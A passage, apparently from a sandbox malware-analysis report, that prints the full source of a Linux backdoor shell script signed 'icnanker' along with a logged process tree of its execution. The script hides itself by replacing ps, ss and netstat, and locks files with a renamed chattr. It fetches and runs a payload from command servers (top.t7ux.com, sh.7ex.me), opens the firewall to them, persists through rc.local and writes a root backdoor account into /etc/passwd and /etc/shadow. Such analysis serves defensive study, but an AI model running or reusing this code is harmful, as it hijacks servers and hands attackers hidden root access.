\"grep\"' >> /bin/ps echo 'done;exit' >> /bin/ps;chmod 777 /bin/ps;lockr +i /bin/ps >/dev/null 2>&1 else lockr -i /bin/ps;sed -i \"s|\$tempfile|\$filename|\" /bin/ps;lockr +i /bin/ps >/dev/null 2>&1 fi } # ------------------------------------------------------------- if [ ! -f \"\$Lok\" ];then lockr -i /usr/bin/ if [ ! -f /usr/bin/wget ];then if [ -f /usr/bin/yum ];then yum -y install e2fsprogs;fi if [ -f /usr/bin/apt-get ];then apt-get -y install e2fsprogs;fi fi cp -f /usr/bin/chattr /usr/bin/lockr cp -f /usr/bin/chattr /usr/bin/.locks cp -f /usr/bin/.locks /usr/bin/lockr chmod 777 /usr/bin/lockr chmod 777 /usr/bin/.locks lockr +i /usr/bin/lockr >/dev/null 2>&1 lockr +i /usr/bin/.locks >/dev/null 2>&1 else .locks -i /usr/bin/lockr;chmod 777 /usr/bin/lockr lockr +i /usr/bin/lockr >/dev/null 2>&1 fi if [ ! -f \"\$Get\" ];then lockr -i /usr/bin/ if [ ! -f /usr/bin/wget ];then if [ -f /usr/bin/yum ];then yum -y install wget;fi if [ -f /usr/bin/apt-get ];then apt-get -y install wget;fi fi cp -f /usr/bin/wget /usr/bin/dget cp -f /usr/bin/wget /usr/bin/.bget cp -f /usr/bin/.bget /usr/bin/dget chmod 777 /usr/bin/dget lockr +i /usr/bin/dget >/dev/null 2>&1 lockr +i /usr/bin/.bget >/dev/null 2>&1 else lockr -i /usr/bin/dget;chmod 777 /usr/bin/dget lockr +i /usr/bin/dget >/dev/null 2>&1 fi if [ -f /usr/bin/pkill ];then lockr -i /usr/bin/pkill;chmod 777 /usr/bin/pkill lockr +i /usr/bin/pkill >/dev/null 2>&1 fi if [ -f /usr/bin/nohup ];then lockr -i /usr/bin/nohup;chmod 777 /usr/bin/nohup lockr +i /usr/bin/nohup >/dev/null 2>&1 fi if [ -f /usr/bin/killall ];then lockr -i /usr/bin/killall;chmod 777 /usr/bin/killall lockr +i /usr/bin/killall >/dev/null 2>&1 fi if [ -f /usr/bin/nslookup ];then lockr -i /usr/bin/nslookup;chmod 777 /usr/bin/nslookup lockr +i /usr/bin/nslookup >/dev/null 2>&1 fi if [ -f /etc/init.d/Me8ing.conf ];then Runkillallconnect rm -f \$0;exit fi # ------------------------------------------------------------- if [ ! -f \"\$Config\" ];then intranet=`ifconfig|grep 'inet '|grep -v '127.0'|xargs|awk -F '[ :]' '{print \$3}'|grep '192.168'` if [ \$intranet ];then exit;fi lockr -i /usr/bin/;lockr -i /etc/init.d/ echo \"byicnanker 2228668564\" > \$Config tempfile=`cat \$Config | awk '{print \$1}'` filetemp=\"/usr/bin/\$tempfile\" #������·�� filename=`date +%s%N | md5sum | head -c 10` filepath=\"/usr/bin/\$filename\" #������·�� tempbash=`cat \$Config | awk '{print \$2}'` bashtemp=\"/usr/bin/\$tempbash\" #�ֽű�·�� bashname=`date +%s%N | md5sum | head -c 10` bashpath=\"/usr/bin/\$bashname\" #�½ű�·�� else tempfile=`cat \$Config | awk '{print \$1}'` filetemp=\"/usr/bin/\$tempfile\" #������·�� filename=`date +%s%N | md5sum | head -c 10` filepath=\"/usr/bin/\$filename\" #������·�� tempbash=`cat \$Config | awk '{print \$2}'` bashtemp=\"/usr/bin/\$tempbash\" #�ֽű�·�� bashname=`date +%s%N | md5sum | head -c 10` bashpath=\"/usr/bin/\$bashname\" #�½ű�·�� if [ \$0 != \"\$bashtemp\" ];then lockr -i /usr/bin/;lockr -i /bin/ KA=`cat \$Config | awk '{print \$1}'` KPidA=`ips -ef|grep \$KA|awk '{print \$2}'` lockr -i /usr/bin/\$KA;rm -f /usr/bin/\$KA kill \$KPidA 2>/dev/null;kill -9 \$KPidA 2>/dev/null lockr -i \$filetemp;rm -f \$filetemp;lockr -i \$filebak;rm -f \$filebak killall .sshd;pkill .sshd;lockr -i /usr/bin/.sshd;rm -f /usr/bin/.sshd killall \$KA;pkill \$KA;killall \$KA;pkill \$KA;sleep 0.1 K1=`cat \$Config | awk '{print \$2}'` KPid1=`ips -ef|grep \$K1|awk '{print \$2}'` kill \$KPid1 2>/dev/null;kill -9 \$KPid1 2>/dev/null lockr -i /usr/bin/\$K1;rm -f /usr/bin/\$K1 killall \$K1;pkill \$K1;killall \$K1;pkill \$K1;sleep 0.4 K2=`cat \$Config | awk '{print \$2}'` KPid2=`ips -ef|grep \$K2|awk '{print \$2}'` kill \$KPid2 2>/dev/null;kill -9 \$KPid2 2>/dev/null lockr -i /usr/bin/\$K2;rm -f /usr/bin/\$K2 killall \$K2;pkill \$K2;killall \$K2;pkill \$K2;sleep 1.2 K3=`cat \$Config | awk '{print \$2}'` KPid3=`ips -ef|grep \$K3|awk '{print \$2}'` kill \$KPid3 2>/dev/null;kill -9 \$KPid3 2>/dev/null lockr -i /usr/bin/\$K3;rm -f /usr/bin/\$K3 killall \$K3;pkill \$K3;killall \$K3;pkill \$K3;sleep 0.5 K4=`cat \$Config | awk '{print \$2}'` KPid4=`ips -ef|grep \$K4|awk '{print \$2}'` kill \$KPid4 2>/dev/null;kill -9 \$KPid4 2>/dev/null lockr -i /usr/bin/\$K4;rm -f /usr/bin/\$K4 killall \$K4;pkill \$K4;killall \$K4;pkill \$K4;sleep 1.3 K5=`cat \$Config | awk '{print \$2}'` KPid5=`ips -ef|grep \$K5|awk '{print \$2}'` kill \$KPid5 2>/dev/null;kill -9 \$KPid5 2>/dev/null lockr -i /usr/bin/\$K5;rm -f /usr/bin/\$K5 killall \$K5;pkill \$K5;killall \$K5;pkill \$K5;sleep 0.6 K6=`cat \$Config | awk '{print \$2}'` KPid6=`ips -ef|grep \$K6|awk '{print \$2}'` kill \$KPid6 2>/dev/null;kill -9 \$KPid6 2>/dev/null lockr -i /usr/bin/\$K6;rm -f /usr/bin/\$K6 killall \$K6;pkill \$K6;killall \$K6;pkill \$K6;sleep 1.4 K7=`cat \$Config | awk '{print \$2}'` KPid7=`ips -ef|grep \$K7|awk '{print \$2}'` kill \$KPid7 2>/dev/null;kill -9 \$KPid7 2>/dev/null lockr -i /usr/bin/\$K7;rm -f /usr/bin/\$K7 killall \$K7;pkill \$K7;killall \$K7;pkill \$K7;sleep 0.1 lockr -i \$Config;sed -i \"s|\$tempbash|\$bashname|\" \$Config lockr -i /bin/ps;sed -i \"s|\$tempbash|\$bashname|\" /bin/ps fi fi # ------------------------------------------------------------- if [ ! -f /usr/bin/nslookup ];then if [ -f /usr/bin/apt-get ];then apt-get -y install dnsutils;fi if [ -f /usr/bin/yum ];then yum -y install bind-utils;fi fi ResolveIP=`nslookup top.t7ux.com|grep \"Address: \"|awk '{print \$2}'` if [ -z \"\$ResolveIP\" ];then lockr -i /etc/;lockr -i /etc/resolv.conf echo 'nameserver 114.114.114.114' > /etc/resolv.conf echo 'nameserver 8.8.8.8' >> /etc/resolv.conf echo 'nameserver 8.8.4.4' >> /etc/resolv.conf lockr +i /etc/resolv.conf >/dev/null 2>&1 service network restart;sleep 1 Address=`nslookup top.t7ux.com|grep \"Address: \"|awk '{print \$2}'` else Address=\"\$ResolveIP\" fi # ------------------------------------------------------------- if [ -f /bin/ss ];then if [ ! -f \"\$iss\" ];then if [ ! -f \"\$issbak\" ];then lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/ cp -f /bin/ss \$issbak cp -f /bin/ss \$iss else cp -f \$issbak \$iss fi chmod 777 \$iss;chmod 777 \$issbak lockr +i \$issbak >/dev/null 2>&1 lockr +i \$iss >/dev/null 2>&1 else if [ ! -f \"\$issbak\" ];then lockr -i /usr/bin/;cp -f \$iss \$issbak lockr +i \$issbak >/dev/null 2>&1 fi if [ -z \"`cat /bin/ss | grep \$Address`\" ]; then lockr -i /bin/;lockr -i /bin/ss echo '#!/bin/sh' > /bin/ss echo 'iss|grep -v \"'\$Address'\"' >> /bin/ss echo 'exit' >> /bin/ss chmod 777 /bin/ss;lockr +i /bin/ss >/dev/null 2>&1 fi fi fi if [ -f /usr/sbin/ss ];then if [ ! -f \"\$iss\" ];then if [ ! -f \"\$issbak\" ];then lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/ cp -f /usr/sbin/ss \$issbak cp -f /usr/sbin/ss \$iss else cp -f \$issbak \$iss fi chmod 777 \$iss;chmod 777 \$issbak lockr +i \$issbak >/dev/null 2>&1 lockr +i \$iss >/dev/null 2>&1 else if [ ! -f \"\$issbak\" ];then lockr -i /usr/bin/;cp -f \$iss \$issbak lockr +i \$issbak >/dev/null 2>&1 fi if [ -z \"`cat /usr/sbin/ss | grep \$Address`\" ]; then lockr -i /usr/sbin/;lockr -i /usr/sbin/ss echo '#!/bin/sh' > /usr/sbin/ss echo 'iss|grep -v \"'\$Address'\"' >> /usr/sbin/ss echo 'exit' >> /usr/sbin/ss chmod 777 /usr/sbin/ss;lockr +i /usr/sbin/ss >/dev/null 2>&1 fi fi fi if [ -f /bin/netstat ];then if [ ! -f \"\$Net\" ];then if [ ! -f \"\$Netbak\" ];then lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/ cp -f /bin/netstat \$Netbak cp -f /bin/netstat \$Net else cp -f \$Netbak \$Net fi chmod 777 \$Net;chmod 777 \$Netbak lockr +i \$Netbak >/dev/null 2>&1 lockr +i \$Net >/dev/null 2>&1 else if [ ! -f \"\$Netbak\" ];then lockr -i /usr/bin/;cp -f \$Net \$Netbak lockr +i \$Netbak >/dev/null 2>&1 fi if [ -z \"`cat /bin/netstat | grep \$Address`\" ]; then lockr -i /bin/;lockr -i /bin/netstat echo '#!/bin/sh' > /bin/netstat echo 'for arg in \"\$*\";do' >> /bin/netstat echo 'nets \$arg | grep -v \"'\$Address'\"' >> /bin/netstat echo 'done;exit' >> /bin/netstat chmod 777 /bin/netstat;lockr +i /bin/netstat >/dev/null 2>&1 fi fi fi if [ -f /bin/ps ];then if [ ! -f \"\$ips\" ];then if [ ! -f \"\$ipsbak\" ];then lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/ cp -f /bin/ps \$ipsbak cp -f /bin/ps \$ips else cp -f \$ipsbak \$ips fi chmod 777 \$ips;chmod 777 \$ipsbak lockr +i \$ipsbak >/dev/null 2>&1 lockr +i \$ips >/dev/null 2>&1 else if [ ! -f \"\$ipsbak\" ];then lockr -i /usr/bin/;cp -f \$ips \$ipsbak lockr +i \$ipsbak >/dev/null 2>&1 fi if [ -z \"`cat /bin/ps | grep '#!/bin/sh'`\" ]; then lockr -i /bin/;lockr -i /bin/ps echo '#!/bin/sh' > /bin/ps;echo 'for arg in \"\$*\";do' >> /bin/ps echo 'ips \$arg | grep -v \"'\$tempbash'\" | grep -v \"'\$tempfile'\" | grep -v \"ips\" | grep -v \"grep\"' >> /bin/ps echo 'done;exit' >> /bin/ps;chmod 777 /bin/ps;lockr +i /bin/ps >/dev/null 2>&1 fi fi fi if [ ! -f \"\$deny\" ];then lockr -i /etc/;cp -f /etc/hosts.deny \$deny lockr +i \$deny >/dev/null 2>&1 fi if [ ! -f \"\$allow\" ];then lockr -i /etc/;cp -f /etc/hosts.allow \$allow lockr +i \$allow >/dev/null 2>&1 fi # by icnanker ----------------------------------------------- iptable=`iptables -L INPUT | grep \"\$Address\" | grep 'ACCEPT'` if [ -z \"\$iptable\" ];then iptables -I INPUT -s \$Address -j ACCEPT else iptables -D INPUT -s \$Address -j DROP fi process=`ips -ef | grep \"\$tempfile\" | grep -v \"grep\" | wc -l` if [ \$process != 1 ];then if [ ! -f \"\$filebak\" ];then lockr -i /usr/bin/;lockr -i /usr/bin/Drkv;rm -f /usr/bin/Drkv cd /usr/bin/;dget http://\$Address:6513/Drkv cd \$path;mv -f /usr/bin/Drkv \$filepath else cp -f \$filebak \$filepath fi Runkillallconnect chmod 777 \$filepath nohup \$filepath >/dev/null 2>&1 & fi if [ ! -f \"\$filebak\" ];then cp -f \$filepath \$filebak;chmod 777 \$filebak lockr +i \$filebak >/dev/null 2>&1 fi # by icnanker ----------------------------------------------- Repeatstart=`cat /etc/rc.local | grep 'start'| wc -l` if [ \$Repeatstart != 1 ];then lockr -i /etc/rc.local;sed -i '/start/d' /etc/rc.local fi if [ -z \"`cat /etc/rc.local | grep \"\$bashtemp\"`\" ]; then if [ -z \"`cat /etc/rc.local | grep \"\$exit0\"`\" ]; then lockr -i /etc/;lockr -i /etc/rc.local echo \"\$bashpath start\" >> /etc/rc.local else lockr -i /etc/;lockr -i /etc/rc.local sed -i \"s|exit 0|\$bashpath start|\" /etc/rc.local echo \"exit 0\">>/etc/rc.local fi fi # by icnanker ----------------------------------------------- if [ ! -f /tmp/bash.log ];then UpdateIP=`nslookup sh.7ex.me|grep \"Address: \"|awk '{print \$2}'` if [ ! -z \"\$UpdateIP\" ];then lockr -i /tmp/;lockr -i /tmp/bash.log;rm -f /tmp/bash.log cd /tmp/;dget http://\$UpdateIP:5155/update.log cd \$path;mv -f /tmp/update.log /tmp/bash.log fi fi if [ -z \"`cat /etc/passwd|grep \"icnanker\"`\" ]; then lockr -i /etc/;lockr -i /etc/passwd #icnanker echo 'icnanker:x:0:1:icnanker:/root:/bin/bash' >> /etc/passwd fi if [ -z \"`cat /etc/shadow|grep \"icnanker\"`\" ]; then lockr -i /etc/;lockr -i /etc/shadow #ddos@nanker echo 'icnanker:\$6\$14nPldFS\$xcNbGMouKo..dH8idyM6D0RIpXVnVm.5B.qORnV6qqnW4V.Ru3IGGyhiNzKAWRee7hJtCXW8vhApM1bzAm54n.:16570:0:99999:7:::' >> /etc/shadow fi # by icnanker ----------------------------------------------- killall .sshd;pkill .sshd;lockr -i /usr/bin/.sshd;rm -f /usr/bin/.sshd lockr -i /usr/bin/;lockr -i /usr/bin/wget;rm -f /usr/bin/wget;lockr -i /usr/bin/chattr;rm -f /usr/bin/chattr lockr -i /etc/;lockr -i /etc/hosts.deny;cp -f \$deny /etc/hosts.deny;lockr +i /etc/hosts.deny >/dev/null 2>&1 lockr -i /etc/;lockr -i /etc/hosts.allow;cp -f \$allow /etc/hosts.allow;lockr +i /etc/hosts.allow >/dev/null 2>&1 lockr -i /etc/init.d/;lockr -i \$Config;sed -i \"s|\$tempbash|\$bashname|\" \$Config;lockr +i \$Config >/dev/null 2>&1 sleep 1;lockr -i /usr/bin/;cp -f \$0 \$bashpath;chmod 777 \$bashpath;nohup \$bashpath >/dev/null 2>&1 & lockr -i /bin/;lockr -i /bin/ps;sed -i \"s|\$tempbash|\$bashname|\" /bin/ps;lockr +i /bin/ps >/dev/null 2>&1 lockr -i /etc/;lockr -i /etc/rc.local;sed -i \"s|\$bashtemp start|\$bashpath start|\" /etc/rc.local # by icnanker ----------------------------------------------- lockr -i \$0 rm -f \$0 exit" /usr/bin/fd7c90b56a3⤵
- File and Directory Permissions Modification
- Writes DNS configuration
- Writes file to system bin folder
-
/usr/bin/.locks.locks -i /usr/bin/lockr4⤵
-
-
/usr/bin/chmodchmod 777 /usr/bin/lockr4⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr +i /usr/bin/lockr4⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/dget4⤵
-
-
/usr/bin/chmodchmod 777 /usr/bin/dget4⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr +i /usr/bin/dget4⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/pkill4⤵
-
-
/usr/bin/chmodchmod 777 /usr/bin/pkill4⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr +i /usr/bin/pkill4⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/nohup4⤵
-
-
/usr/bin/chmodchmod 777 /usr/bin/nohup4⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr +i /usr/bin/nohup4⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/killall4⤵
-
-
/usr/bin/chmodchmod 777 /usr/bin/killall4⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr +i /usr/bin/killall4⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/nslookup4⤵
-
-
/usr/bin/chmodchmod 777 /usr/bin/nslookup4⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr +i /usr/bin/nslookup4⤵
-
-
/usr/bin/catcat /etc/long.conf4⤵
-
-
/usr/bin/awkawk "{print \$1}"4⤵
-
-
/usr/bin/datedate "+%s%N"4⤵
-
-
/usr/bin/md5summd5sum4⤵
-
-
/usr/bin/headhead -c 104⤵
-
-
/usr/bin/catcat /etc/long.conf4⤵
-
-
/usr/bin/awkawk "{print \$2}"4⤵
-
-
/usr/bin/datedate "+%s%N"4⤵
-
-
/usr/bin/md5summd5sum4⤵
-
-
/usr/bin/headhead -c 104⤵
-
-
/usr/bin/nslookupnslookup top.t7ux.com4⤵
- Reads CPU attributes
-
-
/usr/bin/grepgrep "Address: "4⤵
-
-
/usr/bin/awkawk "{print \$2}"4⤵
-
-
/usr/bin/lockrlockr -i /etc/4⤵
-
-
/usr/bin/lockrlockr -i /etc/resolv.conf4⤵
-
-
/usr/bin/lockrlockr +i /etc/resolv.conf4⤵
-
-
/usr/sbin/serviceservice network restart4⤵
-
/usr/bin/basenamebasename /usr/sbin/service5⤵
-
-
/usr/bin/basenamebasename /usr/sbin/service5⤵
-
-
-
/usr/local/sbin/systemctlsystemctl restart network.service4⤵
-
-
/usr/local/bin/systemctlsystemctl restart network.service4⤵
-
-
/usr/sbin/systemctlsystemctl restart network.service4⤵
-
-
/usr/bin/systemctlsystemctl restart network.service4⤵
-
-
/usr/bin/sleepsleep 14⤵
-
-
/usr/bin/nslookupnslookup top.t7ux.com4⤵
- Reads CPU attributes
-
-
/usr/bin/grepgrep "Address: "4⤵
-
-
/usr/bin/awkawk "{print \$2}"4⤵
-
-
/usr/bin/catcat /bin/ss4⤵
-
-
/usr/bin/grepgrep4⤵
-
-
/usr/bin/lockrlockr -i /bin/4⤵
-
-
/usr/bin/lockrlockr -i /bin/ss4⤵
-
-
/usr/bin/chmodchmod 777 /bin/ss4⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr +i /bin/ss4⤵
-
-
/usr/bin/catcat /bin/ps4⤵
-
-
/usr/bin/grepgrep "#!/bin/sh"4⤵
-
-
/usr/bin/grepgrep ACCEPT4⤵
-
-
/usr/bin/grepgrep4⤵
-
-
/usr/bin/ipsips -ef4⤵
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
- System Network Configuration Discovery
-
-
/usr/bin/grepgrep eb71db48694⤵
-
-
/usr/bin/grepgrep -v grep4⤵
-
-
/usr/bin/wcwc -l4⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/4⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/Drkv4⤵
-
-
/usr/bin/rmrm -f /usr/bin/Drkv4⤵
-
-
/usr/bin/dgetdget http://:6513/Drkv4⤵
-
-
/usr/bin/mvmv -f /usr/bin/Drkv /usr/bin/e5872a36b44⤵
-
-
/usr/bin/grepgrep :95064⤵
-
-
/usr/bin/cutcut -d / -f 14⤵
-
-
/usr/bin/awkawk "{print \$9}"4⤵
-
-
/usr/bin/killallkillall eb71db48694⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill eb71db48694⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/usr/bin/lockrlockr -i /usr/bin/4⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/eb71db48694⤵
-
-
/usr/bin/rmrm -f /usr/bin/eb71db48694⤵
-
-
/usr/bin/catcat /etc/long.conf4⤵
-
-
/usr/bin/grepgrep eb71db48694⤵
-
-
/usr/bin/lockrlockr -i /etc/long.conf4⤵
-
-
/usr/bin/sedsed -i "s|eb71db4869|e5872a36b4|" /etc/long.conf4⤵
-
-
/usr/bin/lockrlockr +i /etc/long.conf4⤵
-
-
/usr/bin/catcat /bin/ps4⤵
-
-
/usr/bin/grepgrep eb71db48694⤵
-
-
/usr/bin/lockrlockr -i /bin/ps4⤵
-
-
/usr/bin/sedsed -i "s|eb71db4869|e5872a36b4|" /bin/ps4⤵
- Writes file to system bin folder
-
-
/usr/bin/lockrlockr +i /bin/ps4⤵
-
-
/usr/bin/chmodchmod 777 /usr/bin/e5872a36b44⤵
- File and Directory Permissions Modification
-
-
/usr/bin/cpcp -f /usr/bin/e5872a36b4 /usr/bin/longbak4⤵
-
-
/usr/bin/nohupnohup /usr/bin/e5872a36b44⤵
-
-
/usr/bin/e5872a36b4/usr/bin/e5872a36b44⤵
-
-
/usr/bin/chmodchmod 777 /usr/bin/longbak4⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr +i /usr/bin/longbak4⤵
-
-
/usr/bin/catcat /etc/rc.local4⤵
-
-
/usr/bin/grepgrep start4⤵
-
-
/usr/bin/wcwc -l4⤵
-
-
/usr/bin/catcat /etc/rc.local4⤵
-
-
/usr/bin/grepgrep /usr/bin/fd7c90b56a4⤵
-
-
/usr/bin/nslookupnslookup sh.7ex.me4⤵
- Reads CPU attributes
-
-
/usr/bin/grepgrep "Address: "4⤵
-
-
/usr/bin/awkawk "{print \$2}"4⤵
-
-
/usr/bin/catcat /etc/passwd4⤵
-
-
/usr/bin/grepgrep icnanker4⤵
-
-
/usr/bin/catcat /etc/shadow4⤵
- OS Credential Dumping
-
-
/usr/bin/grepgrep icnanker4⤵
-
-
/usr/bin/killallkillall .sshd4⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill .sshd4⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/usr/bin/lockrlockr -i /usr/bin/.sshd4⤵
-
-
/usr/bin/rmrm -f /usr/bin/.sshd4⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/4⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/wget4⤵
-
-
/usr/bin/rmrm -f /usr/bin/wget4⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/chattr4⤵
-
-
/usr/bin/rmrm -f /usr/bin/chattr4⤵
-
-
/usr/bin/lockrlockr -i /etc/4⤵
-
-
/usr/bin/lockrlockr -i /etc/hosts.deny4⤵
-
-
/usr/bin/cpcp -f /etc/deny.bak /etc/hosts.deny4⤵
-
-
/usr/bin/lockrlockr +i /etc/hosts.deny4⤵
-
-
/usr/bin/lockrlockr -i /etc/4⤵
-
-
/usr/bin/lockrlockr -i /etc/hosts.allow4⤵
-
-
/usr/bin/cpcp -f /etc/allow.bak /etc/hosts.allow4⤵
-
-
/usr/bin/lockrlockr +i /etc/hosts.allow4⤵
-
-
/usr/bin/lockrlockr -i /etc/init.d/4⤵
-
-
/usr/bin/lockrlockr -i /etc/long.conf4⤵
-
-
/usr/bin/sedsed -i "s|fd7c90b56a|15cd17e5d6|" /etc/long.conf4⤵
-
-
/usr/bin/lockrlockr +i /etc/long.conf4⤵
-
-
/usr/bin/sleepsleep 14⤵
-
-
/usr/bin/lockrlockr -i /usr/bin/4⤵
-
-
/usr/bin/cpcp -f /usr/bin/fd7c90b56a /usr/bin/15cd17e5d64⤵
- Write file to user bin folder
-
-
/usr/bin/chmodchmod 777 /usr/bin/15cd17e5d64⤵
- File and Directory Permissions Modification
-
-
/usr/bin/lockrlockr -i /bin/4⤵
-
-
/usr/bin/nohupnohup /usr/bin/15cd17e5d64⤵
-
-
/usr/bin/lockrlockr -i /bin/ps4⤵
-
-
/usr/bin/15cd17e5d6/usr/bin/15cd17e5d64⤵
-
-
/usr/bin/sedsed -i "s|fd7c90b56a|15cd17e5d6|" /bin/ps4⤵
- Writes file to system bin folder
-
-
/usr/bin/lockrlockr +i /bin/ps4⤵
-
-
/bin/sh/usr/bin/15cd17e5d6 -c "exec '/usr/bin/15cd17e5d6' \"\$@\"" /usr/bin/15cd17e5d64⤵
-
-
/usr/bin/15cd17e5d6/usr/bin/15cd17e5d64⤵
-
-
/usr/bin/lockrlockr -i /etc/4⤵
-
-
/usr/bin/lockrlockr -i /etc/rc.local4⤵
-
-
/usr/bin/sedsed -i "s|/usr/bin/fd7c90b56a start|/usr/bin/15cd17e5d6 start|" /etc/rc.local4⤵
-
-
/bin/sh/usr/bin/15cd17e5d6 -c "#!/bin/sh path=`pwd` exit0=\"exit 0\" ips=\"/usr/bin/ips\" iss=\"/usr/bin/iss\" Net=\"/usr/bin/nets\" Get=\"/usr/bin/dget\" Lok=\"/usr/bin/lockr\" deny=\"/etc/deny.bak\" allow=\"/etc/allow.bak\" Config=\"/etc/long.conf\" filebak=\"/usr/bin/longbak\" issbak=\"/usr/bin/dpkgd/ss\" ipsbak=\"/usr/bin/dpkgd/ps\" Netbak=\"/usr/bin/dpkgd/netstat\" Runkillallconnect() { killpid=`nets -anept 2>/dev/null|grep \"\$Address:9506\"|cut -d / -f 1|awk '{print \$9}'` kill \$killpid 2>/dev/null;kill -3 \$killpid 2>/dev/null;kill -9 \$killpid 2>/dev/null killall \$tempfile;pkill \$tempfile;lockr -i /usr/bin/;lockr -i \$filetemp;rm -f \$filetemp if [ -z \"`cat \$Config|grep \$tempfile`\" ]; then lockr -i /etc/init.d/;lockr -i \$Config echo \$filename \$tempbash \$Address > \$Config;lockr +i \$Config >/dev/null 2>&1 else lockr -i \$Config;sed -i \"s|\$tempfile|\$filename|\" \$Config;lockr +i \$Config >/dev/null 2>&1 fi if [ -z \"`cat /bin/ps|grep \$tempfile`\" ]; then lockr -i /bin/;lockr -i /bin/ps;echo '#!/bin/sh' > /bin/ps;echo 'for arg in \"\$*\";do' >> /bin/ps echo 'ips \$arg|grep -v \"'\$tempbash'\"|grep -v \"'\$filename'\"|grep -v \"ips\"|grep -v \"grep\"' >> /bin/ps echo 'done;exit' >> /bin/ps;chmod 777 /bin/ps;lockr +i /bin/ps >/dev/null 2>&1 else lockr -i /bin/ps;sed -i \"s|\$tempfile|\$filename|\" /bin/ps;lockr +i /bin/ps >/dev/null 2>&1 fi } # ------------------------------------------------------------- if [ ! -f \"\$Lok\" ];then lockr -i /usr/bin/ if [ ! -f /usr/bin/wget ];then if [ -f /usr/bin/yum ];then yum -y install e2fsprogs;fi if [ -f /usr/bin/apt-get ];then apt-get -y install e2fsprogs;fi fi cp -f /usr/bin/chattr /usr/bin/lockr cp -f /usr/bin/chattr /usr/bin/.locks cp -f /usr/bin/.locks /usr/bin/lockr chmod 777 /usr/bin/lockr chmod 777 /usr/bin/.locks lockr +i /usr/bin/lockr >/dev/null 2>&1 lockr +i /usr/bin/.locks >/dev/null 2>&1 else .locks -i /usr/bin/lockr;chmod 777 /usr/bin/lockr lockr +i /usr/bin/lockr >/dev/null 2>&1 fi if [ ! -f \"\$Get\" ];then lockr -i /usr/bin/ if [ ! -f /usr/bin/wget ];then if [ -f /usr/bin/yum ];then yum -y install wget;fi if [ -f /usr/bin/apt-get ];then apt-get -y install wget;fi fi cp -f /usr/bin/wget /usr/bin/dget cp -f /usr/bin/wget /usr/bin/.bget cp -f /usr/bin/.bget /usr/bin/dget chmod 777 /usr/bin/dget lockr +i /usr/bin/dget >/dev/null 2>&1 lockr +i /usr/bin/.bget >/dev/null 2>&1 else lockr -i /usr/bin/dget;chmod 777 /usr/bin/dget lockr +i /usr/bin/dget >/dev/null 2>&1 fi if [ -f /usr/bin/pkill ];then lockr -i /usr/bin/pkill;chmod 777 /usr/bin/pkill lockr +i /usr/bin/pkill >/dev/null 2>&1 fi if [ -f /usr/bin/nohup ];then lockr -i /usr/bin/nohup;chmod 777 /usr/bin/nohup lockr +i /usr/bin/nohup >/dev/null 2>&1 fi if [ -f /usr/bin/killall ];then lockr -i /usr/bin/killall;chmod 777 /usr/bin/killall lockr +i /usr/bin/killall >/dev/null 2>&1 fi if [ -f /usr/bin/nslookup ];then lockr -i /usr/bin/nslookup;chmod 777 /usr/bin/nslookup lockr +i /usr/bin/nslookup >/dev/null 2>&1 fi if [ -f /etc/init.d/Me8ing.conf ];then Runkillallconnect rm -f \$0;exit fi # ------------------------------------------------------------- if [ ! -f \"\$Config\" ];then intranet=`ifconfig|grep 'inet '|grep -v '127.0'|xargs|awk -F '[ :]' '{print \$3}'|grep '192.168'` if [ \$intranet ];then exit;fi lockr -i /usr/bin/;lockr -i /etc/init.d/ echo \"byicnanker 2228668564\" > \$Config tempfile=`cat \$Config | awk '{print \$1}'` filetemp=\"/usr/bin/\$tempfile\" #������·�� filename=`date +%s%N | md5sum | head -c 10` filepath=\"/usr/bin/\$filename\" #������·�� tempbash=`cat \$Config | awk '{print \$2}'` bashtemp=\"/usr/bin/\$tempbash\" #�ֽű�·�� bashname=`date +%s%N | md5sum | head -c 10` bashpath=\"/usr/bin/\$bashname\" #�½ű�·�� else tempfile=`cat \$Config | awk '{print \$1}'` filetemp=\"/usr/bin/\$tempfile\" #������·�� filename=`date +%s%N | md5sum | head -c 10` filepath=\"/usr/bin/\$filename\" #������·�� tempbash=`cat \$Config | awk '{print \$2}'` bashtemp=\"/usr/bin/\$tempbash\" #�ֽű�·�� bashname=`date +%s%N | md5sum | head -c 10` bashpath=\"/usr/bin/\$bashname\" #�½ű�·�� if [ \$0 != \"\$bashtemp\" ];then lockr -i /usr/bin/;lockr -i /bin/ KA=`cat \$Config | awk '{print \$1}'` KPidA=`ips -ef|grep \$KA|awk '{print \$2}'` lockr -i /usr/bin/\$KA;rm -f /usr/bin/\$KA kill \$KPidA 2>/dev/null;kill -9 \$KPidA 2>/dev/null lockr -i \$filetemp;rm -f \$filetemp;lockr -i \$filebak;rm -f \$filebak killall .sshd;pkill .sshd;lockr -i /usr/bin/.sshd;rm -f /usr/bin/.sshd killall \$KA;pkill \$KA;killall \$KA;pkill \$KA;sleep 0.1 K1=`cat \$Config | awk '{print \$2}'` KPid1=`ips -ef|grep \$K1|awk '{print \$2}'` kill \$KPid1 2>/dev/null;kill -9 \$KPid1 